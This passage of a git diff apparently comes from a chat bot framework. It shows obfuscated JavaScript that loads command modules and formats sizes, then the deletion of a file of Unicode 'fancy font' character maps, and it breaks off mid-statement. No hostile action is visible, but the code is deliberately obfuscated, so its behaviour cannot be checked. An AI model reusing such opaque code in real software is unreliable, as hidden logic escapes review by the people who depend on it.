\x20NT\x2010.0;\x20Win64;\x20x64)\x20AppleWebKit/537.36\x20(KHTML,\x20like\x20Gecko)\x20Chrome/95.0.4638.69\x20Safari/537.36','load','push','waifu','police','xlab','2297480beyozO','caption','mentionedJid','14kuGXoP','each','data','neko','sizeFormatter','groupe','4340922ocmjsr','typeMessage','137493kdonnt','videoMessage','find','promisify'];_0x323e=function(){return _0x3bb815;};return _0x323e();}async function ajouterCommande(){const _0x4eac95=_0x3d5ee4;fs[_0x4eac95(0x159)](__dirname+_0x4eac95(0x182))[_0x4eac95(0x15e)](_0x52368c=>{const _0x403eb9=_0x4eac95;path[_0x403eb9(0x134)](_0x52368c)[_0x403eb9(0x120)]()==_0x403eb9(0x154)&&(require(__dirname+'/../commandes/'+_0x52368c[_0x403eb9(0x15b)](_0x403eb9(0x154))[0x0]),console[_0x403eb9(0x130)](_0x403eb9(0x17f)+_0x52368c));});}exports['ajouterCommande']=ajouterCommande;async function xlab(){const _0x4ff23a=_0x3d5ee4,_0x37d2ce=util['promisify'](fs[_0x4ff23a(0x131)]),_0x29e8f7=util[_0x4ff23a(0x17c)](fs[_0x4ff23a(0x14a)]);var _0x5d8262=_0x4ff23a(0x14b),_0x5d2d8d=await _0x37d2ce(_0x5d8262);_0x5d2d8d[_0x4ff23a(0x15e)](_0x2bb311=>{const _0x44c308=_0x4ff23a;if(_0x2bb311[_0x44c308(0x153)](_0x44c308(0x154))){var {commande:_0x1f8d64}=require(__dirname+_0x44c308(0x144)+_0x2bb311[_0x44c308(0x15b)](_0x44c308(0x154))[0x0]),_0x44731f;_0x1f8d64?_0x44731f=_0x1f8d64():_0x44731f=null;if(_0x44731f!=null)for(const _0x5f3f54 of _0x44731f['nomCom']){fruit[_0x5f3f54]=_0x44731f[_0x44c308(0x161)];}}});}exports[_0x3d5ee4(0x16d)]=xlab;const human_readable_1=require(_0x3d5ee4(0x13f)),format=(0x0,human_readable_1[_0x3d5ee4(0x175)])({'std':'JEDEC','decimalPlaces':0x2,'keepTrailingZeroes':![],'render':(_0x3b047e,_0x57ee45)=>_0x3b047e+'\x20'+_0x57ee45+'B'});exports[_0x3d5ee4(0x163)]=format;function police(_0x2d3c7f,_0x467c3e){return _0x467c3e=_0x467c3e-0x1,listall(_0x2d3c7f)[_0x467c3e];}exports['police']=police; - - diff --git a/framework/stylish-font.js b/framework/stylish-font.js deleted file mode 100644 index bb0657b1..00000000 --- a/framework/stylish-font.js +++ /dev/null @@ -1,11 +0,0 @@ - - - - - - - - - - -const _0x138321=_0x498e;(function(_0x5d4de5,_0x5cc797){const _0x48d9ea=_0x498e,_0x4ec63c=_0x5d4de5();while(!![]){try{const _0x26f04a=parseInt(_0x48d9ea(0x219))/0x1+parseInt(_0x48d9ea(0x1fc))/0x2*(parseInt(_0x48d9ea(0x227))/0x3)+parseInt(_0x48d9ea(0x206))/0x4+parseInt(_0x48d9ea(0x1ff))/0x5+parseInt(_0x48d9ea(0x220))/0x6+parseInt(_0x48d9ea(0x1f9))/0x7+-parseInt(_0x48d9ea(0x225))/0x8;if(_0x26f04a===_0x5cc797)break;else _0x4ec63c['push'](_0x4ec63c['shift']());}catch(_0x1a23de){_0x4ec63c['push'](_0x4ec63c['shift']());}}}(_0x59bc,0x93348));const unicode=require('./unicode');var style=unicode;style[_0x138321(0x1f0)][_0x138321(0x21b)]['options'][_0x138321(0x1f7)]=0xa;function createMap(_0x21b527){const _0x297bfe=_0x138321;var _0x11a955=['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9'],_0x4e8563=0x0,_0x3198ab={};for(var _0x4da952 of _0x21b527){_0x3198ab[_0x11a955[_0x4e8563]]=_0x4da952,_0x4e8563++;}return JSON[_0x297bfe(0x202)](_0x3198ab);}const mangaCharMap={0x0:'0',0x1:'1',0x2:'2',0x3:'3',0x4:'4',0x5:'5',0x6:'6',0x7:'7',0x8:'8',0x9:'9','a':'卂','b':'乃','c':'匚','d':'ᗪ','e':'乇','f':'千','g':'ᘜ','h':'卄','i':'|','j':'フ','k':'Ҝ','l':'ㄥ','m':'爪','n':'几','o':'ㄖ','p':'卩','q':'Ҩ','r':'尺','s':'丂','t':'ㄒ','u':'ㄩ','v':'ᐯ','w':'山','x':'乂','y':'ㄚ','z':'乙','A':'卂','B':'乃','C':'匚','D':'ᗪ','E':'乇','F':'千','G':'ᘜ','H':'卄','I':'|','J':'フ','K':'Ҝ','L':'ㄥ','M':'爪','N':'几','O':'ㄖ','P':'卩','Q':'Ҩ','R':'尺','S':'丂','T':'ㄒ','U':'ㄩ','V':'ᐯ','W':'山','X':'乂','Y':'ㄚ','Z':'乙'},ladybugCharMap={0x0:'0',0x1:'1',0x2:'2',0x3:'3',0x4:'4',0x5:'5',0x6:'6',0x7:'7',0x8:'8',0x9:'9','a':'ꍏ','b':'ꌃ','c':'ꏳ','d':'ꀷ','e':'ꏂ','f':'ꎇ','g':'ꁅ','h':'ꀍ','i':'ꀤ','j':'꒻','k':'ꀘ','l':'꒒','m':'ꎭ','n':'ꈤ','o':'ꂦ','p':'ᖘ','q':'ꆰ','r':'ꋪ','s':'ꌚ','t':'꓄','u':'ꀎ','v':'꒦','w':'ꅐ','x':'ꉧ','y':'ꌩ','z':'ꁴ','A':'ꍏ','B':'ꌃ','C':'ꏳ','D':'ꀷ','E':'ꏂ','F':'ꎇ','G':'ꁅ','H':'ꀍ','I':'ꀤ','J':'꒻','K':'ꀘ','L':'꒒','M':'ꎭ','N':'ꈤ','O':'ꂦ','P':'ᖘ','Q':'ꆰ','R':'ꋪ','S':'ꌚ','T':'꓄','U':'ꀎ','V':'꒦','W':'ꅐ','X':'ꉧ','Y':'ꌩ','Z':'ꁴ'},runesCharMap={0x0:'0',0x1:'1',0x2:'2',0x3:'3',0x4:'4',0x5:'5',0x6:'6',0x7:'7',0x8:'8',0x9:'9','a':'ል','b':'ጌ','c':'ር','d':'ዕ','e':'ቿ','f':'ቻ','g':'ኗ','h':'ዘ','i':'ጎ','j':'ጋ','k':'ጕ','l':'ረ','m':'ጠ','n':'ክ','o':'ዐ','p':'የ','q':'ዒ','r':'ዪ','s':'ነ','t':'ፕ','u':'ሁ','v':'ሀ','w':'ሠ','x':'ሸ','y':'ሃ','z':'ጊ','A':'ል','B':'ጌ','C':'ር','D':'ዕ','E':'ቿ','F':'ቻ','G':'ኗ','H':'ዘ','I':'ጎ','J':'ጋ','K':'ጕ','L':'ረ','M':'ጠ','N':'ክ','O':'ዐ','P':'የ','Q':'ዒ','R':'ዪ','S':'ነ','T':'ፕ','U':'ሁ','V':'ሀ','W':'ሠ','X':'ሸ','Y':'ሃ','Z':'ጊ'},serif_BCharMap={0x0:'0',0x1:'1',0x2:'2',0x3:'3',0x4:'4',0x5:'5',0x6:'6',0x7:'7',0x8:'8',0x9:'9','a':'𝐚','b':'𝐛','c':'𝐜','d':'𝐝','e':'𝐞','f':'𝐟','g':'𝐠','h':'𝐡','i':'𝐢','j':'𝐣','k':'𝐤','l':'𝐥','m':'𝐦','n':'𝐧','o':'𝐨','p':'𝐩','q':'𝐪','r':'𝐫','s':'𝐬','t':'𝐭','u':'𝐮','v':'𝐯','w':'𝐰','x':'𝐱','y':'𝐲','z':'𝐳','A':'𝐀','B':'𝐁','C':'𝐂','D':'𝐃','E':'𝐄','F':'𝐅','G':'𝐆','H':'𝐇','I':'𝐈','J':'𝐉','K':'𝐊','L':'𝐋','M':'𝐌','N':'𝐍','O':'𝐎','P':'𝐏','Q':'𝐐','R':'𝐑','S':'𝐒','T':'𝐓','U':'𝐔','V':'𝐕','W':'𝐖','X':'𝐗','Y':'𝐘','Z':'𝐙'},serif_BICharMap={0x0:'0',0x1:'1',0x2:'2',0x3:'3',0x4:'4',0x5:'5',0x6:'6',0x7:'7',0x8:'8',0x9:'9','a':'𝒂','b':'𝒃','c':'𝒄','d':'𝒅','e':'𝒆','f':'𝒇','g':'𝒈','h':'𝒉','i':'𝒊','j':'𝒋','k':'𝒌','l':'𝒍','m':'𝒎','n':'𝒏','o':'𝒐','p':'𝒑','q':'𝒒','r':'𝒓','s':'𝒔','t':'𝒕','u':'𝒖','v':'𝒗','w':'𝒘','x':'𝒙','y':'𝒚','z':'𝒛','A':'𝑨','B':'𝑩','C':'𝑪','D':'𝑫','E':'𝑬','F':'𝑭','G':'𝑮','H':'𝑯','I':'𝑰','J':'𝑱','K':'𝑲','L':'𝑳','M':'𝑴','N':'𝑵','O':'𝑶','P':'𝑷','Q':'𝑸','R':'𝑹','S':'𝑺','T':'𝑻','U':'𝑼','V':'𝑽','W':'𝑾','X':'𝑿','Y':'𝒀','Z':'𝒁'},serif_ICharMap={0x0:'0',0x1:'1',0x2:'2',0x3:'3',0x4:'4',0x5:'5',0x6:'6',0x7:'7',0x8:'8',0x9:'9','a':'𝑎','b':'𝑏','c':'𝑐','d':'𝑑','e':'𝑒','f':'𝑓','g':'𝑔','h':'ℎ','i':'𝑖','j':'𝑗','k':'𝑘','l':'𝑙','m':'𝑚','n':'𝑛','o':'𝑜','p':'𝑝','q':'𝑞','r':'𝑟','s':'𝑠','t':'𝑡','u':'𝑢','v':'𝑣','w':'𝑤','x':'𝑥','y':'𝑦','z':'𝑧','A':'𝐴','B':'𝐵','C':'𝐶','D':'𝐷','E':'𝐸','F':'𝐹','G':'𝐺','H':'𝐻','I':'𝐼','J':'𝐽','K':'𝐾','L':'𝐿','M':'𝑀','N':'𝑁','O':'𝑂','P':'𝑃','Q':'𝑄','R':'𝑅','S':'𝑆','T':'𝑇','U':'𝑈','V':'𝑉','W':'𝑊','X':'𝑋','Y':'𝑌','Z':'𝑍'},wingdingsCharMap={0x0:_0x138321(0x21d),0x1:_0x138321(0x216),0x2:'📄︎',0x3:_0x138321(0x21c),0x4:_0x138321(0x20a),0x5:_0x138321(0x218),0x6:'⌛︎',0x7:_0x138321(0x1ed),0x8:_0x138321(0x20d),0x9:_0x138321(0x201),'!':'✏︎','\x22':'✂︎','#':'✁︎','$':_0x138321(0x215),'%':_0x138321(0x223),'&':_0x138321(0x205),'\x27':_0x138321(0x21a),'(':_0x138321(0x1f4),')':'✆︎','*':_0x138321(0x212),'+':_0x138321(0x1f2),',':_0x138321(0x224),'-':_0x138321(0x211),'.':_0x138321(0x1fb),'/':'📭︎',':':'🖳︎',';':'🖴︎','<':'🖫︎','=':_0x138321(0x209),'>':'✇︎','?':'✍︎','A':'✌︎','B':'👌︎','C':'👍︎','D':_0x138321(0x20f),'E':'☜︎','F':'☞︎','G':'☝︎','H':'☟︎','I':'✋︎','J':'☺︎','K':'😐︎','L':'☹︎','M':_0x138321(0x1ef),'N':'☠︎','O':'⚐︎','P':_0x138321(0x21f),'Q':'✈︎','R':'☼︎','S':_0x138321(0x221),'T':'❄︎','U':_0x138321(0x1fa),'V':'✞︎','W':'🕈︎','X':'✠︎','Y':'✡︎','Z':'☪︎','[':'☯︎','\x5c':'ॐ︎',']':'☸︎','^':'♈︎','_':'♉︎','`':'♊︎','a':'♋︎','b':'♌︎','c':'♍︎','d':'♎︎','e':'♏︎','f':'♐︎','g':'♑︎','h':'♒︎','i':'♓︎','j':'🙰','k':'🙵','l':'●︎','m':'❍︎','n':'■︎','o':'□︎','p':'◻︎','q':'❑︎','r':'❒︎','s':'⬧︎','t':'⧫︎','u':'◆︎','v':'❖︎','w':'⬥︎','x':'⌧︎','y':'⍓︎','z':'⌘︎','{':'❀︎','|':'✿︎','}':'❝︎','~':'❞︎','\x7f':'▯︎','€':'⓪︎','\u0081':'①︎','‚':'②︎','ƒ':'③︎','„':'④︎','…':'⑤︎','†':'⑥︎','‡':'⑦︎','ˆ':'⑧︎','‰':'⑨︎','Š':'⑩︎','‹':'⓿︎','Œ':'❶︎','\u008d':'❷︎','Ž':'❸︎','\u008f':'❹︎','\u0090':'❺︎','‘':'❻︎','’':'❼︎','“':'❽︎','”':'❾︎','•':'❿︎','–':'◻︎','—':'◻︎','˜':'◻︎','™':'◻︎','š':'◻︎','›':'◻︎','œ':'◻︎','\u009d':'◻︎','ž':'·︎','Ÿ':'•︎','¡':'○︎','¢':'⭕︎','£':'◻︎','¤':'◉︎','¥':'◎︎','¦':'◻︎','§':'▪︎','¨':'◻︎','©':'◻︎','ª':'✦︎','«':'★︎','¬':'✶︎','®':'✹︎','¯':'✵︎','°':'◻︎','±':'⌖︎','²':'⟡︎','³':'⌑︎','´':'◻︎','µ':'✪︎','¶':'✰︎','·':_0x138321(0x1f3),'¸':_0x138321(0x1f5),'¹':'🕒︎','º':_0x138321(0x207),'»':_0x138321(0x20c),'¼':_0x138321(0x222),'½':_0x138321(0x20b),'¾':'🕗︎','¿':_0x138321(0x1ee),'À':_0x138321(0x1f8),'Á':_0x138321(0x21e),'Â':_0x138321(0x1ec),'Ã':'◻︎','Ä':'◻︎','Å':'◻︎','Æ':'◻︎','Ç':'◻︎','È':'◻︎','É':'◻︎','Ê':'◻︎','Ë':'◻︎','Ì':'◻︎','Í':'◻︎','Î':'◻︎','Ï':'◻︎','Ð':'◻︎','Ñ':'◻︎','Ò':'◻︎','Ó':'◻︎','Ô':'◻︎','Õ':'⌫︎','Ö':'⌦︎','×':'◻︎','Ø':'➢︎','Ù':'◻︎','Ú':'◻︎','Û':'◻︎','Ü':'➲︎','Ý':'◻︎','Þ':'◻︎','ß':'◻︎','à':'◻︎','á':'◻︎','â':'◻︎','ã':'◻︎','ä':'◻︎','å':'◻︎','æ':'◻︎','ç':'◻︎','è':'➔︎','é':'◻︎','ê':'◻︎','ë':'◻︎','ì':'◻︎','í':'◻︎','î':'◻︎','ï':'⇦︎','ð':'⇨︎','ñ':'⇧︎','ò':'⇩︎','ó':'⬄︎','ô':'⇳︎','õ':'⬀︎','ö':'⬁︎','÷':'⬃︎','ø':'⬂︎','ù':'▭︎','ú':'▫︎','û':'✗︎','ü':'✓︎','ý':'☒︎','þ':'☑︎','ÿ':'◻︎'},vaporwaveCharMap={'\x20':'\u3000','`':'`',0x1:'1',0x2:'2',0x3:'3',0x4:'4',0x5:'5',0x6:'6',0x7:'7',0x8:'8',0x9:'9',0x0:'0','-':'-','=':'=','~':'~','!':'!','@':'@','#':'#','$':'$','%':'%','^':'^','&':'&','*':'*','(':'(',')':')','_':'_','+':'+','q':'q','w':'w','e':'e','r':'r','t':'t','y':'y','u':'u','i':'i','o':'o','p':'p','[':'[',']':']','\x5c':'\x5c','Q':'Q','W':'W','E':'E','R':'R','T':'T','Y':'Y','U':'U','I':'I','O':'O','P':'P','{':'{','}':'}','|':'|','a':'a','s':'s','d':'d'},sparrowCharMap={0x0:'0',0x1:'1',0x2:'2',0x3:'3',0x4:'4',0x5:'5',0x6:'6',0x7:'7',0x8:'8',0x9:'9','a':'Δ','b':'β','c':'C','d':'D','e':'Σ','f':'Ғ','g':'G','h':'H','i':'I','j':'J','k':'Ҝ','l':'L','m':'M','n':'Π','o':'Ω','p':'P','q':'Q','r':'R','s':'S','t':'T','u':'U','v':'∇','w':'Ш','x':'X','y':'Ψ','z':'Z','A':'Δ','B':'β','C':'C','D':'D','E':'Σ','F':'Ғ','G':'G','H':'H','I':'I','J':'J','K':'Ҝ','L':'L','M':'M','N':'Π','O':'Ω','P':'P','Q':'Q','R':'R','S':'S','T':'T','U':'U','V':'∇','W':'Ш','X':'X','Y':'Ψ','Z':'Z'},typewriterCharMap={0x0:'0',0x1:'1',0x2:'2',0x3:'3',0x4:'4',0x5:'5',0x6:'6',0x7:'7',0x8:'8',0x9:'9','a':'𝚊','b':'𝚋','c':'𝚌','d':'𝚍','e':'𝚎','f':'𝚏','g':'𝚐','h':'𝚑','i':'𝚒','j':'𝚓','k':'𝚔','l':'𝚕','m':'𝚖','n':'𝚗','o':'𝚘','p':'𝚙','q':'𝚚','r':'𝚛','s':'𝚜','t':'𝚝','u':'𝚞','v':'𝚟','w':'𝚠','x':'𝚡','y':'𝚢','z':'𝚣','A':'𝙰','B':'𝙱','C':'𝙲','D':'𝙳','E':'𝙴','F':'𝙵','G':'𝙶','H':'𝙷','I':'𝙸','J':'𝙹','K':'𝙺','L':'𝙻','M':'𝙼','N':'𝙽','O':'𝙾','P':'𝙿','Q':'𝚀','R':'𝚁','S':'𝚂','T':'𝚃','U':'𝚄','V':'𝚅','W':'𝚆','X':'𝚇','Y':'𝚈','Z':'𝚉'},analuciaCharMap={0x0:'0',0x1:'1',0x2:'2',0x3:'3',0x4:'4',0x5:'5',0x6:'6',0x7:'7',0x8:'8',0x9:'9','a':'ꪖ','b':'᥇','c':'ᥴ','d':'ᦔ','e':'ꫀ','f':'ᠻ','g':'ᧁ','h':'ꫝ','i':'𝓲','j':'𝓳','k':'𝘬','l':'ꪶ','m':'ꪑ','n':'ꪀ','o':'ꪮ','p':'ρ','q':'𝘲','r':'𝘳','s':'𝘴','t':'𝓽','u':'ꪊ','v':'ꪜ','w':'᭙','x':'᥊','y':'ꪗ','z':'ɀ','A':'ꪖ','B':'᥇','C':'ᥴ','D':'ᦔ','E':'ꫀ','F':'ᠻ','G':'ᧁ','H':'ꫝ','I':'𝓲','J':'𝓳','K':'𝘬','L':'ꪶ','M':'ꪑ','N':'ꪀ','O':'ꪮ','P':'ρ','Q':'𝘲','R':'𝘳','S':'𝘴','T':'𝓽','U':'ꪊ','V':'ꪜ','W':'᭙','X':'᥊','Y':'ꪗ','Z':'ɀ'};function listall(_0x3162c4){const _0x24af0e=_0x138321;var _0x3162c4=_0x3162c4[_0x24af0e(0x213)]();if(_0x3162c4==='')return'';var _0x5066e4=[];return _0x5066e4['push'](tiny(_0x3162c4)),_0x5066e4['push'](flip(_0x3162c4)),_0x5066e4[_0x24af0e(0x214)](roundsquares(_0x3162c4)),_0x5066e4['push'](squares(_0x3162c4)),_0x5066e4[_0x24af0e(0x214)](mirror(_0x3162c4)),_0x5066e4[_0x24af0e(0x214)](creepify(_0x3162c4)),_0x5066e4[_0x24af0e(0x214)](bubbles(_0x3162c4)),_0x5066e4[_0x24af0e(0x214)](strikeThrough(_0x3162c4)),_0x5066e4[_0x24af0e(0x214)](tildeStrikeThrough(_0x3162c4)),_0x5066e4[_0x24af0e(0x214)](slashThrough(_0x3162c4)),_0x5066e4[_0x24af0e(0x214)](underline(_0x3162c4)),_0x5066e4['push'](doubleUnderline(_0x3162c4)),_0x5066e4['push'](heartsBetween(_0x3162c4)),_0x5066e4[_0x24af0e(0x214)](arrowBelow(_0x3162c4)),_0x5066e4['push'](crossAboveBelow(_0x3162c4)),_0x5066e4['push'](wingdings(_0x3162c4)),_0x5066e4[_0x24af0e(0x214)](vaporwave(_0x3162c4)),_0x5066e4[_0x24af0e(0x214)](sparrow(_0x3162c4)),_0x5066e4[_0x24af0e(0x214)](manga(_0x3162c4)),_0x5066e4[_0x24af0e(0x214)](ladybug(_0x3162c4)),_0x5066e4['push'](runes(_0x3162c4)),_0x5066e4[_0x24af0e(0x214)](serif_B(_0x3162c4)),_0x5066e4['push'](serif_BI(_0x3162c4)),_0x5066e4[_0x24af0e(0x214)](serif_I(_0x3162c4)),_0x5066e4[_0x24af0e(0x214)](analucia(_0x3162c4)),_0x5066e4[_0x24af0e(0x214)](typewriter(_0x3162c4)),_0x5066e4[_0x24af0e(0x214)](fancy1(_0x3162c4)),_0x5066e4['push'](fancy2(_0x3162c4)),_0x5066e4[_0x24af0e(0x214)](fancy3(_0x3162c4)),_0x5066e4['push'](fancy4(_0x3162c4)),_0x5066e4[_0x24af0e(0x214)](fancy5(_0x3162c4)),_0x5066e4[_0x24af0e(0x214)](fancy6(_0x3162c4)),_0x5066e4['push'](fancy7(_0x3162c4)),_0x5066e4['push'](fancy8(_0x3162c4)),_0x5066e4[_0x24af0e(0x214)](fancy9(_0x3162c4)),_0x5066e4['push'](fancy10(_0x3162c4)),_0x5066e4[_0x24af0e(0x214)](fancy11(_0x3162c4)),_0x5066e4[_0x24af0e(0x214)](fancy12(_0x3162c4)),_0x5066e4['push'](fancy13(_0x3162c4)),_0x5066e4['push'](fancy14(_0x3162c4)),_0x5066e4[_0x24af0e(0x214)](fancy15(_0x3162c4)),_0x5066e4[_0x24af0e(0x214)](fancy16(_0x3162c4)),_0x5066e4[_0x24af0e(0x214)](fancy17(_0x3162c4)),_0x5066e4[_0x24af0e(0x214)](fancy18(_0x3162c4)),_0x5066e4[_0x24af0e(0x214)](fancy19(_0x3162c4)),_0x5066e4[_0x24af0e(0x214)](fancy20(_0x3162c4)),_0x5066e4[_0x24af0e(0x214)](fancy21(_0x3162c4)),_0x5066e4[_0x24af0e(0x214)](fancy22(_0x3162c4)),_0x5066e4['push'](fancy23(_0x3162c4)),_0x5066e4[_0x24af0e(0x214)](fancy24(_0x3162c4)),_0x5066e4[_0x24af0e(0x214)](fancy25(_0x3162c4)),_0x5066e4[_0x24af0e(0x214)](fancy26(_0x3162c4)),_0x5066e4[_0x24af0e(0x214)](fancy27(_0x3162c4)),_0x5066e4[_0x24af0e(0x214)](fancy28(_0x3162c4)),_0x5066e4['push'](fancy29(_0x3162c4)),_0x5066e4[_0x24af0e(0x214)](fancy30(_0x3162c4)),_0x5066e4[_0x24af0e(0x214)](fancy31(_0x3162c4)),_0x5066e4[_0x24af0e(0x214)](fancy32(_0x3162c4)),_0x5066e4['push'](fancy33(_0x3162c4)),_0x5066e4;}function flip(_0x3ec846){const _0x161c5f=_0x138321;return style[_0x161c5f(0x1f0)]['flip'][_0x161c5f(0x210)](_0x3ec846);}function roundsquares(_0x18bfc5){const _0x47f85f=_0x138321;return style['tools'][_0x47f85f(0x217)]['encode'](_0x18bfc5);}function squares(_0x5cf8cf){const _0x156eec=_0x138321;return style[_0x156eec(0x1f0)][_0x156eec(0x1fd)]['encode'](_0x5cf8cf);}function mirror(_0x5da747){const _0x45fb96=_0x138321;return style[_0x45fb96(0x1f0)][_0x45fb96(0x204)][_0x45fb96(0x210)](_0x5da747);}function creepify(_0x1ba04d){const _0x4f8b2f=_0x138321;return style[_0x4f8b2f(0x1f0)][_0x4f8b2f(0x21b)]['encode'](_0x1ba04d);}function bubbles(_0xc5da4){const _0x478f79=_0x138321;return style[_0x478f79(0x1f0)][_0x478f79(0x1fe)][_0x478f79(0x210)](_0xc5da4);}function strikeThrough(_0x3944c9){const _0x284f1f=_0x138321;return _0x3944c9[_0x284f1f(0x203)]('')['join']('̶')+'̶';}function tildeStrikeThrough(_0x2e3ce1){const _0x1bbcf1=_0x138321;return _0x2e3ce1[_0x1bbcf1(0x203)]('')[_0x1bbcf1(0x20e)]('̴')+'̴';}function underline(_0x1e8eb2){const _0x106821=_0x138321;return _0x1e8eb2[_0x106821(0x203)]('')[_0x106821(0x20e)]('̲')+'̲';}function doubleUnderline(_0x1957a9){const _0x576cc9=_0x138321;return _0x1957a9[_0x576cc9(0x203)]('')[_0x576cc9(0x20e)]('̳')+'̳';}function slashThrough(_0x49f0af){const _0x29d641=_0x138321;return _0x49f0af[_0x29d641(0x203)]('')[_0x29d641(0x20e)]('̷')+'̷';}function heartsBetween(_0x276ba3){const _0x50d0af=_0x138321;return _0x276ba3[_0x50d0af(0x203)]('')['join']('♥');}function arrowBelow(_0x1ff948){const _0x2d035d=_0x138321;return _0x1ff948[_0x2d035d(0x203)]('')[_0x2d035d(0x20e)]('͎')+'͎';}function crossAboveBelow(_0x3709bc){const _0x49da04=_0x138321;return _0x3709bc[_0x49da04(0x203)]('')[_0x49da04(0x20e)]('͓̽')+'͓̽';}function manga(_0x3ac608){const _0xf7673d=_0x138321;return _0x3ac608[_0xf7673d(0x203)]('')[_0xf7673d(0x226)](function(_0x3317b4){return mangaCharMap[_0x3317b4]?mangaCharMap[_0x3317b4]:_0x3317b4;})[_0xf7673d(0x20e)]('');}const fancy1chrmap={0x0:'0',0x1:'1',0x2:'2',0x3:'3',0x4:'4',0x5:'5',0x6:'6',0x7:'7',0x8:'8',0x9:'9','a':'ค','b':'๖','c':'¢','d':'໓','e':'ē','f':'f','g':'ງ','h':'h','i':'i','j':'ว','k':'k','l':'l','m':'๓','n':'ຖ','o':'໐','p':'p','q':'๑','r':'r','s':'Ş','t':'t','u':'น','v':'ง','w':'ຟ','x':'x','y':'ฯ','z':'ຊ','A':'ค','B':'๖','C':'¢','D':'໓','E':'ē','F':'f','G':'ງ','H':'h','I':'i','J':'ว','K':'k','L':'l','M':'๓','N':'ຖ','O':'໐','P':'p','Q':'๑','R':'r','S':'Ş','T':'t','U':'น','V':'ง','W':'ຟ','X':'x','Y':'ฯ','Z':'ຊ'};function fancy1(_0x256842){const _0x51817c=_0x138321;return _0x256842[_0x51817c(0x203)]('')[_0x51817c(0x226)](function(_0x2d8d3a){return fancy1chrmap[_0x2d8d3a]?fancy1chrmap[_0x2d8d3a]:_0x2d8d3a;})['join']('');}const fancy2chrmap={0x0:'0',0x1:'1',0x2:'2',0x3:'3',0x4:'4',0x5:'5',0x6:'6',0x7:'7',0x8:'8',0x9:'9','a':'ą','b':'ც','c':'ƈ','d':'ɖ','e':'ɛ','f':'ʄ','g':'ɠ','h':'ɧ','i':'ı','j':'ʝ','k':'ƙ','l':'Ɩ','m':'ɱ','n':'ŋ','o':'ơ','p':'℘','q':'զ','r':'ཞ','s':'ʂ','t':'ɬ','u':'ų','v':'۷','w':'ῳ','x':'ҳ','y':'ყ','z':'ʑ','A':'ą','B':'ც','C':'ƈ','D':'ɖ','E':'ɛ','F':'ʄ','G':'ɠ','H':'ɧ','I':'ı','J':'ʝ','K':'ƙ','L':'Ɩ','M':'ɱ','N':'ŋ','O':'ơ','P':'℘','Q':'զ','R':'ཞ','S':'ʂ','T':'ɬ','U':'ų','V':'۷','W':'ῳ','X':'ҳ','Y':'ყ','Z':'ʑ'};function fancy2(_0x4b5288){const _0x472396=_0x138321;return _0x4b5288[_0x472396(0x203)]('')['map'](function(_0x293078){return fancy2chrmap[_0x293078]?fancy2chrmap[_0x293078]:_0x293078;})[_0x472396(0x20e)]('');}const fancy3chrmap={0x0:'0',0x1:'1',0x2:'2',0x3:'3',0x4:'4',0x5:'5',0x6:'6',0x7:'7',0x8:'8',0x9:'9','a':'ム','b':'乃','c':'ᄃ','d':'り','e':'乇','f':'キ','g':'ム','h':'ん','i':'ノ','j':'フ','k':'ズ','l':'レ','m':'ᄊ','n':'刀','o':'の','p':'ア','q':'ゐ','r':'尺','s':'丂','t':'イ','u':'ひ','v':'√','w':'W','x':'メ','y':'リ','z':'乙','A':'ム','B':'乃','C':'ᄃ','D':'り','E':'乇','F':'キ','G':'ム','H':'ん','I':'ノ','J':'フ','K':'ズ','L':'レ','M':'ᄊ','N':'刀','O':'の','P':'ア','Q':'ゐ','R':'尺','S':'丂','T':'イ','U':'ひ','V':'√','W':'W','X':'メ','Y':'リ','Z':'乙'};function fancy3(_0x8d705c){const _0x349ff8=_0x138321;return _0x8d705c['split']('')[_0x349ff8(0x226)](function(_0x2166d8){return fancy3chrmap[_0x2166d8]?fancy3chrmap[_0x2166d8]:_0x2166d8;})[_0x349ff8(0x20e)]('');}const fancy4chrmap={0x0:'0',0x1:'1',0x2:'2',0x3:'3',0x4:'4',0x5:'5',0x6:'6',0x7:'7',0x8:'8',0x9:'9','a':'卂','b':'乃','c':'匚','d':'ᗪ','e':'乇','f':'千','g':'Ꮆ','h':'卄','i':'丨','j':'フ','k':'Ҝ','l':'ㄥ','m':'爪','n':'几','o':'ㄖ','p':'卩','q':'Ɋ','r':'尺','s':'丂','t':'ㄒ','u':'ㄩ','v':'ᐯ','w':'山','x':'乂','y':'ㄚ','z':'乙','A':'卂','B':'乃','C':'匚','D':'ᗪ','E':'乇','F':'千','G':'Ꮆ','H':'卄','I':'丨','J':'フ','K':'Ҝ','L':'ㄥ','M':'爪','N':'几','O':'ㄖ','P':'卩','Q':'Ɋ','R':'尺','S':'丂','T':'ㄒ','U':'ㄩ','V':'ᐯ','W':'山','X':'乂','Y':'ㄚ','Z':'乙'};function fancy4(_0x6af259){const _0x8fb2d0=_0x138321;return _0x6af259[_0x8fb2d0(0x203)]('')[_0x8fb2d0(0x226)](function(_0xb5973d){return fancy4chrmap[_0xb5973d]?fancy4chrmap[_0xb5973d]:_0xb5973d;})[_0x8fb2d0(0x20e)]('');}const fancy5chrmap={0x0:'0',0x1:'1',0x2:'2',0x3:'3',0x4:'4',0x5:'5',0x6:'6',0x7:'7',0x8:'8',0x9:'9','a':'🄰','b':'🄱','c':'🄲','d':'🄳','e':'🄴','f':'🄵','g':'🄶','h':'🄷','i':'🄸','j':'🄹','k':'🄺','l':'🄻','m':'🄼','n':'🄽','o':'🄾','p':'🄿','q':'🅀','r':'🅁','s':'🅂','t':'🅃','u':'🅄','v':'🅅','w':'🅆','x':'🅇','y':'🅈','z':'🅉','A':'🄰','B':'🄱','C':'🄲','D':'🄳','E':'🄴','F':'🄵','G':'🄶','H':'🄷','I':'🄸','J':'🄹','K':'🄺','L':'🄻','M':'🄼','N':'🄽','O':'🄾','P':'🄿','Q':'🅀','R':'🅁','S':'🅂','T':'🅃','U':'🅄','V':'🅅','W':'🅆','X':'🅇','Y':'🅈','Z':'🅉'};function fancy5(_0xb0e070){const _0x28e43c=_0x138321;return _0xb0e070[_0x28e43c(0x203)]('')[_0x28e43c(0x226)](function(_0x52885c){return fancy5chrmap[_0x52885c]?fancy5chrmap[_0x52885c]:_0x52885c;})[_0x28e43c(0x20e)]('');}const 